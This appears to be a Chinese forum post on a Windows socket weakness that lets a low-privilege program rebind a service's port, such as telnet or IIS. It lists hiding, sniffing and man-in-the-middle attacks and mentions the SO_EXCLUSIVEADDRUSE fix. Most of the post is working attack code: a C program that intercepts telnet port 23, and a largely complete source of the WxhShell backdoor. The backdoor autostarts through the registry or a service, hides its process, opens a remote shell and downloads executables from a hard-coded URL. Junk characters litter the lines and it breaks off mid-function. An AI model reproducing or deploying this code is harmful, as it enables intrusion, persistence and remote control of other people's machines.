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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: /\%K7\  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); T;eA<,H  
Su<Ggv"  
  saddr.sin_family = AF_INET; +TzF*Np  
|P_\l,f8`  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ?UXKy  
(l28,\Bel  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); cT8`l!RD<  
\iQD\=o  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 p0KkPE">p4  
2V}tDN7c  
  这意味着什么?意味着可以进行如下的攻击: wAr (5nEbx  
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  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 TzXivE@mm  
[<)/ c>Y  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) )`RF2Y-A7  
`"0#lZ`n  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 C+r<DC3  
Y",Fs(  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  >K{/Jx&  
 +X i#y}%  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 apxZ}  
zMfr`&%e  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 H61 ,pr>  
8oSndfV  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 tylMJ$ 9*.  
x%ZgLvdp,  
  #include f-9& n4=H  
  #include yZ[H&>  
  #include ubV|s|J  
  #include    \*}JdEHB  
  DWORD WINAPI ClientThread(LPVOID lpParam);   /znW$yh o  
  int main() d}K"dr:W5  
  { SRl:+!@.  
  WORD wVersionRequested; h1.]Nl C  
  DWORD ret; |x|#n  
  WSADATA wsaData; Le9^,B@Pb  
  BOOL val; m*L*# ZBS  
  SOCKADDR_IN saddr; B2~KkMF  
  SOCKADDR_IN scaddr; r5qp[Ss3F  
  int err; zcGeXX}V?  
  SOCKET s; k zhek >  
  SOCKET sc; .Od.lxz"mp  
  int caddsize; n*6b*fl  
  HANDLE mt; k+>-?S,  
  DWORD tid;   AZ)H/#be  
  wVersionRequested = MAKEWORD( 2, 2 ); [&n2 yt  
  err = WSAStartup( wVersionRequested, &wsaData ); ]HP aM  
  if ( err != 0 ) { @O}%sjC1  
  printf("error!WSAStartup failed!\n"); ;z;O}<8s  
  return -1; 7Op6> i  
  } fX).A`  
  saddr.sin_family = AF_INET; nB?$W4  
   7:U^Ki  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 G#ov2  
8\m_.e  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); d `LBFH,  
  saddr.sin_port = htons(23); .jRp.U  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) etdI:N*x  
  { +K4d(!Sb  
  printf("error!socket failed!\n"); Z 6^AO=3  
  return -1; !/G2vF"  
  } TI-8I)  
  val = TRUE; @Otom'O  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 1hj']#vBu  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) zhH-lMNj-  
  { 1u&}Lq(  
  printf("error!setsockopt failed!\n"); &MnS( 82L  
  return -1; >3V{I'^^-  
  } T]d9tX-  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; h#9X0u7j  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 M]YK]VyG  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Z@fMU2e=Z  
2xvTijO0  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Jg=[!j0(  
  { q"OvuHBSOn  
  ret=GetLastError(); z=>U>  
  printf("error!bind failed!\n"); <A +VS  
  return -1; R]e?<,"X  
  } 'Z#8]YP`  
  listen(s,2); ~"89NVk"  
  while(1) (]0JI1 d  
  { 8^CdE*a  
  caddsize = sizeof(scaddr); =Jfo=`da  
  //接受连接请求 tgy*!B6a~  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); |Id0+-V ?  
  if(sc!=INVALID_SOCKET) !Mp.jE  
  { y@"6Dt|  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); qc_c&  
  if(mt==NULL) 62~8>71;'  
  { :@zz5MB5@  
  printf("Thread Creat Failed!\n"); 7Z0fMk  
  break; Md_S};!QN6  
  } v'(p."g  
  } bcFG$},k  
  CloseHandle(mt); _NQMi4 V(  
  } E}K6Op;=v5  
  closesocket(s); Dbt"}#uit;  
  WSACleanup(); 2Z 4Ekq0@  
  return 0; \<WRk4D  
  }   =n>&Bl-Bl  
  DWORD WINAPI ClientThread(LPVOID lpParam) pIBL85Xe  
  { 1e.V%!Xk  
  SOCKET ss = (SOCKET)lpParam; m,KG}KX  
  SOCKET sc; /1ZRjf^  
  unsigned char buf[4096]; cl kL)7RQ  
  SOCKADDR_IN saddr; VWqmqR%  
  long num; .}Va~[0j  
  DWORD val; f0+)%gO{  
  DWORD ret; &GF@9BXI3  
  //如果是隐藏端口应用的话,可以在此处加一些判断 "w.gP8`  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   5 s3!{zT{  
  saddr.sin_family = AF_INET; Q$!dPwDg  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 2mj?&p?  
  saddr.sin_port = htons(23); H1iewsfzH  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) U_ELeW5@  
  { >5Y%4++(  
  printf("error!socket failed!\n");  ,83%18b  
  return -1; C&Rv$<qc  
  } T$[50~  
  val = 100; Nv!If$d  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) t]LOBy-Kv  
  { b_2bg>|;  
  ret = GetLastError(); gE$D#PZa  
  return -1; H&`0I$8m  
  } fz'@ON  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %O] ]La  
  { 7M;7jI/C  
  ret = GetLastError(); yO\ .dp  
  return -1; 8,unq3  
  } JB.f7-  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) M?mPi 3  
  { .YYfba#{  
  printf("error!socket connect failed!\n"); ,@1rP55  
  closesocket(sc); !Au'WJfE  
  closesocket(ss); [?z`XY_-  
  return -1; 6U|An*  
  } T%|{Qo<j  
  while(1) IiW*'0H:/  
  { 2wR?ON=Q  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 5=Cea  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 )5n*4A  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 6 axe  
  num = recv(ss,buf,4096,0); MYyV{W*T>  
  if(num>0) % NSb8@  
  send(sc,buf,num,0); <y4hK3wP  
  else if(num==0) MvV\?Lzj   
  break; f@Oi$9CZn  
  num = recv(sc,buf,4096,0); |6@s6]%X}  
  if(num>0) g i>`  
  send(ss,buf,num,0); L\;n[,.  
  else if(num==0) klpYtQ  
  break; CshYUr -  
  } b ]A9$-  
  closesocket(ss); WBc,/lgZ  
  closesocket(sc); a}(xZ\n^D;  
  return 0 ; <5).(MTa  
  } 9BW"^$  
PydU.,^7  
D@.+B`bA  
========================================================== g~ubivl2  
T$ w`=7  
下边附上一个代码,,WXhSHELL VINb9W}G[  
{\:"OcP #  
========================================================== r xlKoa  
GnTCq_\  
#include "stdafx.h" )>-94xx|  
-d'swx2aZ!  
#include <stdio.h> l-/fFy)T  
#include <string.h> R3 Zg,YM  
#include <windows.h> 3+:F2sjt  
#include <winsock2.h> ::<v; `l  
#include <winsvc.h> J  ZH~ {  
#include <urlmon.h> _m0B6?KJ  
\3K%>   
#pragma comment (lib, "Ws2_32.lib") ^:hI bF4G  
#pragma comment (lib, "urlmon.lib") NgI n\) =0  
OoIs'S-Z#  
#define MAX_USER   100 // 最大客户端连接数 _z6_mmMp  
#define BUF_SOCK   200 // sock buffer ( AI gW  
#define KEY_BUFF   255 // 输入 buffer Ec2?'*s   
mCb1^Y  
#define REBOOT     0   // 重启 Uw!N;QsC  
#define SHUTDOWN   1   // 关机 rJz`v/:|P  
>]dH1@@  
#define DEF_PORT   5000 // 监听端口 W=-:<3XL  
WR :I2-1  
#define REG_LEN     16   // 注册表键长度  =&8Cg  
#define SVC_LEN     80   // NT服务名长度 )#%v1rR  
- K%hug  
// 从dll定义API 1iLrKA  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >^!)G^B  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 6j 2mr6o  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *'l|ws  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); f3;.+hJ])  
bz'#YM  
// wxhshell配置信息 zEBUR%9  
struct WSCFG { NQ3EjARZt  
  int ws_port;         // 监听端口 UiE 1TD{  
  char ws_passstr[REG_LEN]; // 口令 Bjc<d,]  
  int ws_autoins;       // 安装标记, 1=yes 0=no wf`e3S  
  char ws_regname[REG_LEN]; // 注册表键名 (JX 9c  
  char ws_svcname[REG_LEN]; // 服务名 /^M|$JRI  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {e]ktj#+{  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;N(9nX}%)  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7gnrLc$]O  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ; ElwF&"!X  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" n[E/O}3& /  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 bI?uV;m>  
HI\V29 a  
}; ;0"p)O@s04  
tX.fbL@ T  
// default Wxhshell configuration lnQfpa8j  
struct WSCFG wscfg={DEF_PORT, k=&UV!J  
    "xuhuanlingzhe", K| w\KX0  
    1, cLm|^j/  
    "Wxhshell", ;${_eab ]  
    "Wxhshell", bc3 T8(  
            "WxhShell Service", Bw Cwy  
    "Wrsky Windows CmdShell Service", L]e@. /C$  
    "Please Input Your Password: ", 0wE)1w<C~  
  1, O'.sK pXe  
  "http://www.wrsky.com/wxhshell.exe", xf|vz|J?y  
  "Wxhshell.exe" {kOTQG?y  
    }; 8M6wc394  
o=)["V  
// 消息定义模块 <FofRFaS  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; uXuA4o$t-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; @3v[L<S{  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; EvGKcu  
char *msg_ws_ext="\n\rExit."; D/oO@;`'c  
char *msg_ws_end="\n\rQuit."; /6@$^paB  
char *msg_ws_boot="\n\rReboot..."; H"b}lf  
char *msg_ws_poff="\n\rShutdown..."; >c30kpGg  
char *msg_ws_down="\n\rSave to "; >HRL@~~Z  
x%J.$o[<_  
char *msg_ws_err="\n\rErr!"; &6O0h0Vy  
char *msg_ws_ok="\n\rOK!"; \Y$@$)   
o |"iW" +  
char ExeFile[MAX_PATH]; 2t}^8  
int nUser = 0; d`sIgll&n  
HANDLE handles[MAX_USER]; .|c=]_{  
int OsIsNt; kP[LS1}*  
{^A,){uX]  
SERVICE_STATUS       serviceStatus; .T*89cEu  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \J-}Dp\0b  
u;Rm/.  
// 函数声明 WT'?L{  
int Install(void); UZ-[vD1n  
int Uninstall(void); 2q}lSa7r  
int DownloadFile(char *sURL, SOCKET wsh); $,8}3R5}  
int Boot(int flag); L g2z `uv  
void HideProc(void); Xf%wW[~  
int GetOsVer(void); _%@ri]u{ov  
int Wxhshell(SOCKET wsl); 7*C>4Gs  
void TalkWithClient(void *cs); #v\o@ArX  
int CmdShell(SOCKET sock); tdOox87YK  
int StartFromService(void); Sej(jJX1  
int StartWxhshell(LPSTR lpCmdLine); qk_YFR?R  
ZRn!z`.0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); M-zqD8D  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); `%$l b:e  
z|v/h UrD  
// 数据结构和表定义 xz*MFoE  
SERVICE_TABLE_ENTRY DispatchTable[] = =y]F cxF  
{ >p>B-m  
{wscfg.ws_svcname, NTServiceMain}, =v6qr~  
{NULL, NULL} JLh{>_Rr  
}; Ocf:73t  
%ou@Y`  
// 自我安装 g93H l&  
int Install(void) K-Fro~U  
{ tE"IE$$1  
  char svExeFile[MAX_PATH]; TFI$>Oz|  
  HKEY key; ={B?hjo<-  
  strcpy(svExeFile,ExeFile); W/G75o~6  
3Q2z+`x'  
// 如果是win9x系统,修改注册表设为自启动 TQ69O +  
if(!OsIsNt) { .9$ 7 +  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "W@>lf?"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rtT*2k*  
  RegCloseKey(key); +?ilTU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { c^8csQ fG  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !CUX13/0  
  RegCloseKey(key); h"4i/L3aAh  
  return 0; ij&T \):d  
    } 2yPF'Q7u_.  
  } 1JY3c M  
} Z ItS(o J.  
else { -m_H]<lWZ  
8^5@J) R8  
// 如果是NT以上系统,安装为系统服务 2+}hsGnp  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); LLd5Z44v  
if (schSCManager!=0) *DuP~8  
{ iu'At7  
  SC_HANDLE schService = CreateService ';KZ.D  
  ( !Nx'4N`&l  
  schSCManager, DlxL:  
  wscfg.ws_svcname, Ybp';8V  
  wscfg.ws_svcdisp, 66l+cb  
  SERVICE_ALL_ACCESS, &b=OT%D~FU  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , NflRNu:-  
  SERVICE_AUTO_START, 9PWqoz2c  
  SERVICE_ERROR_NORMAL, C o,"  
  svExeFile, >{ .|Ng4K  
  NULL, Fh~ pB>t  
  NULL, AR6hfdDDT  
  NULL, J9q[u[QZ9O  
  NULL, W+ v#m>G  
  NULL PGJkQsp0  
  ); QP<vjj%  
  if (schService!=0) "4WwiI9  
  { ANlzF& K  
  CloseServiceHandle(schService); !d{Ijs'T  
  CloseServiceHandle(schSCManager); 2}kJN8\F  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); .M>g`UW  
  strcat(svExeFile,wscfg.ws_svcname); RFT`r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { N&]_U%#Q  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); f_;6uCCO  
  RegCloseKey(key); hs?cV)hDS  
  return 0; :\IZ-  
    } ^-dhz88wV  
  } /5j]laYK)  
  CloseServiceHandle(schSCManager); !xz{X?  
} /(?,S{]  
} Cd'K~Ch3  
b&I{?'"%8  
return 1; mM\jU5P:^  
} YTV|]xpR  
%%^by  
// 自我卸载 3$h yV{  
int Uninstall(void) 3R`eddenF  
{ -b'a-?  
  HKEY key; B;^YHWJ6i  
d/l>~%bR  
if(!OsIsNt) { D:fLQ8a  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ebIRXUF}>  
  RegDeleteValue(key,wscfg.ws_regname); C$7dmGjZ  
  RegCloseKey(key); LseS8F/q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]C5/-J,F  
  RegDeleteValue(key,wscfg.ws_regname); 2M*84oh8P  
  RegCloseKey(key); LNI]IITx/  
  return 0; lJdwbuB6  
  } xF7q9'/F  
} 1wt(pkNk  
} >f-*D25f%  
else { qTrb)95  
1Gh3o}z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); TmUN@h  
if (schSCManager!=0) 1 2J#}|  
{ `Uy4>?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); M:cW/&ZJ  
  if (schService!=0) m 4V0e~]  
  { Or"+d 5  
  if(DeleteService(schService)!=0) { Usf7 AS=  
  CloseServiceHandle(schService); <BhNmEo)2  
  CloseServiceHandle(schSCManager); E2yL9]K2  
  return 0; =6< Am  
  } _>(qQ-Px  
  CloseServiceHandle(schService); |5#iPw_wMY  
  } #uCE0}N@  
  CloseServiceHandle(schSCManager); cB|Rj}40v  
} :WAFBK/x  
} O%p+P<J  
qZ rv2dT  
return 1; .Uh|V -  
} /rZ`e'}  
Uq:CM6q\  
// 从指定url下载文件 95b65f  
int DownloadFile(char *sURL, SOCKET wsh) SZL('x,"^  
{ ~v^I*/uY  
  HRESULT hr; BM_Rlcx~  
char seps[]= "/"; QRAw#  
char *token; >SaT?k1E  
char *file; %G/j+Pf  
char myURL[MAX_PATH]; Vc?=cQ'c  
char myFILE[MAX_PATH]; &b!|Y  
B| .8+Q  
strcpy(myURL,sURL); =`KV),\  
  token=strtok(myURL,seps); 3p#BEH<re  
  while(token!=NULL) iw0|A  
  { ~#nbD-*#  
    file=token; uJu#Vr:m  
  token=strtok(NULL,seps); MT(G=r8  
  } )sG/H8  
y)0wM~E;2  
GetCurrentDirectory(MAX_PATH,myFILE); MfK}DEJK,  
strcat(myFILE, "\\"); 'D17]Lp~.  
strcat(myFILE, file); UY`U[#  
  send(wsh,myFILE,strlen(myFILE),0); H3Sfz'  
send(wsh,"...",3,0); 0uwe,;   
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Y0ouLUlI  
  if(hr==S_OK) *|^}=ioj*  
return 0; 2/.I6IbL  
else o.x<h";  
return 1; Nc[[o>/Cb  
IM*T+iRKqF  
} YCS8qEP&  
j6r.HYX!  
// 系统电源模块 I>(-&YbC  
int Boot(int flag) >w)A~ F<  
{ x'hUw*  
  HANDLE hToken; PBY ^m+  
  TOKEN_PRIVILEGES tkp; mYw9lM  
.jvRUD8A7  
  if(OsIsNt) { Ub| -Q  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *$EcP`K$  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); eO?@K$I  
    tkp.PrivilegeCount = 1; ^rIe"Kx  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; x>*#cOVz;C  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); M;zJ1  
if(flag==REBOOT) { ~Lf>/w  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) X9/]< Y<!  
  return 0; c/ s$*"  
} ^yp`<=  
else { i)mQ?Y#o  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) +?R !  
  return 0; bZ_vb? n  
} 5dem~YY5  
  } d;WXlE;  
  else { z57|9$h}w  
if(flag==REBOOT) { L"ob ))GF  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,V{Cy`bi  
  return 0; ;+Uc} =  
} ua HB\Uc  
else { gaa;PX  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) #(f- cK  
  return 0; V/CZcMY_  
} SRBQ"X[M2  
} `8<h aU  
Kta7xtu  
return 1; 4M{]YZMw8  
} 6$_//  
@l^BW*BCo  
// win9x进程隐藏模块 6O# xV:Uc<  
void HideProc(void) qGH\3g-  
{ HI*j6H?\  
$ ";NS6 1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); G@I/Dy  
  if ( hKernel != NULL )  :bBMy\(u  
  { KQv97#n1  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Ub9p&=]h  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `zBQ:_3J_  
    FreeLibrary(hKernel); > cM}M=4s  
  } |*[#Iii'  
ds|L'7  
return; <|R`N)AV;  
} Ki{]5Rz  
'H.,S_v1x  
// 获取操作系统版本 $9m>(b/;n  
int GetOsVer(void) ^s[OvJb  
{ $TR#-q  
  OSVERSIONINFO winfo; V-.Nc#  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); D8,V'n>L  
  GetVersionEx(&winfo); d-BUdIz  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) OZed+t=  
  return 1; $(JB"%S8c  
  else 9m:G8j'  
  return 0; t!JD]j>q  
} >wJt# ZB  
C#Y_La  
// 客户端句柄模块 u~VvGLFf5,  
int Wxhshell(SOCKET wsl) c"x-_Uk  
{ ];VJ54  
  SOCKET wsh; "O j2B|:s&  
  struct sockaddr_in client; 6-vQQ-\  
  DWORD myID; - BE.a<  
.6xIg+  
  while(nUser<MAX_USER) 6Lhfb\2?  
{ cc_v4d{x  
  int nSize=sizeof(client); gHe%N? '  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3Sclr/t  
  if(wsh==INVALID_SOCKET) return 1; VGtKW kVH  
jUg.Y98  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \$%q< _l  
if(handles[nUser]==0) u/g4s (a  
  closesocket(wsh); 6l|,J`G  
else ;&8  
  nUser++; +K"8Q'&t  
  } LA%t'n h  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [>y0Xf9^  
4~YPLu  
  return 0; rbD}fUg  
} +M %zOX/  
w,qYT -R  
// 关闭 socket k6mC_  
void CloseIt(SOCKET wsh) Wo[*P\8  
{ yB~` A>~M  
closesocket(wsh); Jkq?wpYp  
nUser--; Q@"mL  
ExitThread(0); 5(V'<  
} O!=ae|  
Fy'/8Yv#L  
// 客户端请求句柄 ?O!'ZZX  
void TalkWithClient(void *cs) '}|sRuftb  
{ `PVr;&  
h..D1(M  
  SOCKET wsh=(SOCKET)cs; 5o P 3 1  
  char pwd[SVC_LEN]; :2_8.+:  
  char cmd[KEY_BUFF]; yw3E$~k  
char chr[1]; }jWZqIqj  
int i,j; @+(TM5Ub  
Ebk_(Py\  
  while (nUser < MAX_USER) { 5l ioL)  
P.Uz[_&l6  
if(wscfg.ws_passstr) { g k.c"$2  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Rz_fNlA  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); JDA:)[;  
  //ZeroMemory(pwd,KEY_BUFF); p[Yja y+  
      i=0; WP b4L9<  
  while(i<SVC_LEN) { K9 tuiD+j  
EX.`6,:+2  
  // 设置超时 (ev(~Wc  
  fd_set FdRead; alB[/.1  
  struct timeval TimeOut; vsU1Lzna6@  
  FD_ZERO(&FdRead); v2tKk^6`(i  
  FD_SET(wsh,&FdRead); wf[B-2q)  
  TimeOut.tv_sec=8; 8H})Dq%d7  
  TimeOut.tv_usec=0; FBCi,_ \4  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ,b/qcu_|-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); O^W.5SaR  
z%cpV{Nu  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); RV2s@<0p  
  pwd=chr[0]; vUa&9Y  
  if(chr[0]==0xd || chr[0]==0xa) { 5`?'}_[Yj  
  pwd=0; MsL*\)*s  
  break; ; Fi(zl  
  } A^9RGz4=  
  i++; %1Pn;bUU!  
    } !L)~*!+Gf  
as%ab[ fX  
  // 如果是非法用户,关闭 socket E"|LA[o  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); wh~g{(Xvq  
} .7"]/9oB  
|z`kFil%  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <,S5(pZ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~VqDh*0  
viP.G/(\]  
while(1) { t"]+}]O  
t|ih{0  
  ZeroMemory(cmd,KEY_BUFF); #A RQB2V  
|*w}bT(PfR  
      // 自动支持客户端 telnet标准   `?H yDny  
  j=0; uR:@7n  
  while(j<KEY_BUFF) { @},25"x)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p[zKc2TPk  
  cmd[j]=chr[0]; ?k*%r;e>  
  if(chr[0]==0xa || chr[0]==0xd) {  3~mi  
  cmd[j]=0; 9 Z 5!3  
  break; !Xzne_V<  
  } JQt Bt2  
  j++; tf5h/:  
    } s$,gM,|cK  
#J,?oe=<4  
  // 下载文件 N5SePA\ ,?  
  if(strstr(cmd,"http://")) { *C*'J7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); jM'kY|<g;  
  if(DownloadFile(cmd,wsh)) c9c_7g'q-  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); >)&]Ss5J  
  else TI9]v(  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :E>" z6H  
  } HL^+:`,  
  else { tlnU2TT_f  
?C[W~m P  
    switch(cmd[0]) { *88Q6=Mm  
  aBN^J_  
  // 帮助 ~rN:4Q]/  
  case '?': { &`RD5uml  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); vl "l  
    break; cen[|yCtOH  
  } XmK2Xi;=b  
  // 安装 bAsoIra  
  case 'i': { YA:7^-Bv  
    if(Install()) %ZajM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {-T}"WHg7  
    else c89+}]mGq  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ds*N1[ *  
    break; R.FC3<TTv  
    } }KBz8M5  
  // 卸载 >+ P5Zm(_  
  case 'r': { jOYa}jm?  
    if(Uninstall()) ^Pq4 n%x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f[AN=M"B"s  
    else ;9+[t8Y)D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d=q&% gqN  
    break; =Z3{6y}3p  
    } <yw6Om:n<  
  // 显示 wxhshell 所在路径 ?51Y&gOEZ  
  case 'p': { !6R;fD#^s  
    char svExeFile[MAX_PATH]; "zn<\z$l  
    strcpy(svExeFile,"\n\r"); * 7<{Xbsj^  
      strcat(svExeFile,ExeFile); 0I`)<o-  
        send(wsh,svExeFile,strlen(svExeFile),0); /oWn0  
    break; eYN =?  
    } q, 8TOn  
  // 重启 oV(|51(f  
  case 'b': { X4c|*U=4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); EU@ BNja  
    if(Boot(REBOOT)) RWe$ZZSz!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8%@![$q<g  
    else { ?nLlZpZ2v  
    closesocket(wsh); Cw*:`  
    ExitThread(0); W7_j;7'  
    } *CIR$sS  
    break; |B<;4ISaRI  
    } BkP'b{z|  
  // 关机 nD8 Qeem@  
  case 'd': { ?>p (*  
